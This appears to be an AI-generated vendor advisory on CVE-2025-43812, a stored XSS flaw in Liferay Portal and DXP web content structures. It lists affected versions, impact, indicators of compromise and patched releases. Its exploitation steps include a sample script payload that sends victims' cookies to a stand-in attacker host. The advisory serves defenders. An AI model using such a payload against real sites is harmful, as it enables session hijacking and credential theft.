CVE-2025-43812
Java vulnerability analysis and mitigation

Overview

CVE-2025-43812 is a stored Cross-Site Scripting (XSS) vulnerability in the web content template component of Liferay Portal and Liferay DXP. It allows remote authenticated users with low privileges to inject arbitrary web script or HTML via a crafted payload in a web content structure's Name text field. Affected versions include Liferay Portal 7.4.3.4 through 7.4.3.111, Liferay DXP 2023.Q4.0 through 2023.Q4.4, 2023.Q3.1 through 2023.Q3.8, and DXP 7.4 GA through update 92. The vulnerability was published on September 29, 2025, with a CVSS v3.1 score of 5.4 (Medium) and a CVSS v4.0 score of 4.8 (Medium) (GitHub Advisory, Liferay Advisory).

Technical details

The root cause is improper neutralization of user-controllable input before it is rendered in a web page (CWE-79), specifically within the web content template functionality of Liferay's Journal Web module (com.liferay.journal.web). An authenticated attacker with low-level privileges can craft a malicious payload and inject it into the Name text field of a web content structure; this input is not properly sanitized before being rendered in the web content template, causing the script to execute in the browsers of other users who view the affected content. The attack vector is network-based, requires low privileges, and necessitates user interaction (a victim must view the injected content) for the payload to execute (GitHub Advisory, Liferay Advisory). A fix commit is publicly referenced at liferay/liferay-portal@7466c9b (GitHub Advisory).

Impact

Successful exploitation allows an attacker to inject and execute malicious scripts in the browsers of other authenticated users who view the compromised web content, impacting both confidentiality and integrity. Potential consequences include session cookie theft, credential harvesting, performing unauthorized actions on behalf of victims, and manipulation of web page content and user experience. Availability is not directly impacted, but the scope is changed — meaning the injected script can affect systems beyond the vulnerable component itself, including subsequent systems accessed by the victim (GitHub Advisory, Liferay Advisory).

Exploitation steps

  1. Authenticate: Log in to a vulnerable Liferay Portal or DXP instance with any low-privilege account that has permission to create or edit web content structures.
  2. Navigate to Web Content Structures: Access the Web Content administration panel (typically under Site Administration > Content & Data > Web Content > Structures).
  3. Inject XSS Payload: Create or edit a web content structure and insert a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the structure's Name text field.
  4. Save the Structure: Submit the form to persist the malicious payload in the application database.
  5. Trigger Execution: When another authenticated user (e.g., an administrator or content editor) views or interacts with the web content template that references the malicious structure, the injected script executes in their browser.
  6. Harvest Results: The attacker receives stolen session cookies or other sensitive data, enabling session hijacking or further unauthorized actions (GitHub Advisory, Liferay Advisory).

Indicators of compromise

  • Logs: Liferay access logs showing POST requests to web content structure creation/editing endpoints (e.g., /group/*/~/control_panel/manage?p_p_id=com_liferay_journal_web_portlet_JournalPortlet) containing HTML or JavaScript tags in the name parameter field.
  • Application Data: Web content structure Name fields in the database containing unexpected HTML tags, <script> elements, or JavaScript event handlers (e.g., onerror, onload).
  • Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after viewing web content templates — potentially carrying cookie or session data as query parameters.
  • Browser/Client: Unexpected redirects or pop-ups experienced by users viewing Liferay web content pages; browser developer tools showing script execution originating from Liferay content pages.

Mitigation and workarounds

Liferay has released patched versions addressing this vulnerability: Liferay Portal 7.4.3.112-ga112 and com.liferay.journal.web version 5.0.161 or later (GitHub Advisory). For Liferay DXP, users should upgrade to 2023.Q4.5 or later, 2023.Q3.9 or later, or DXP 7.4 update 93 or later (Liferay Advisory). As interim mitigations, administrators should restrict web content structure editing permissions to trusted users only, implement a strict Content Security Policy (CSP) to limit script execution, and monitor audit logs for suspicious content modifications.

Additional resources


SourceThis report was generated using AI

Related Java vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-p279-2cqp-84jgCRITICAL9.6
  • Java logoJava
  • org.openidentityplatform.opendj:opendj-server-legacy
NoYesJul 24, 2026
GHSA-fp43-vj7g-pg92HIGH7.5
  • Java logoJava
  • org.omnifaces:omnifaces
NoYesJul 24, 2026
GHSA-7ppr-r889-mcf2HIGH7.5
  • Java logoJava
  • org.http4s:http4s-blaze-server_2.12
NoYesJul 24, 2026
GHSA-mhvj-jhpq-885vHIGH7.4
  • Java logoJava
  • org.http4s:http4s-blaze-server_2.13
NoYesJul 24, 2026
GHSA-46q4-43ph-c6frHIGH7.4
  • Java logoJava
  • org.http4s:blaze-http_2.12
NoYesJul 24, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management